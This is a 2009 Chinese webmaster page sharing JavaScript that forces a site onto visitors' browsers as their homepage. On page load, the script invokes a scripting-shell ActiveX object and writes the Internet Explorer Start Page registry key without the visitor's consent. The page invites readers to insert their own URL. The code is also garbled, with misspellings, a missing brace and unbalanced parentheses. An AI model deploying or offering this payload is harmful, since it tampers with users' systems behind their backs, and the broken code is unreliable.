Javascript强制设为首页的代码 [ 网站地图 ]

发表于:2009-12-15 浏览:19 作者: 来源:互联网

关键字:Javascript,首页,强制

描述:强制设为首页代码,见过这样霸道的代码吗? <script>varucook=document.cookie;varuser=ucook.indexOF("ilooki=");if(user==-1){ varnowTime=newDate();document.cookie="ilooki"+";"+"expires

强制设为首页代码,见过这样霸道的代码吗?

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)

var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()
+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 
code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-
8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start 
Page",http://www.***.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

</script>

  把上面代码中的http://www.***.com改为具体地址就可以了!


站长资讯网 做中国最丰富的资讯网站 沪ICP备05004089号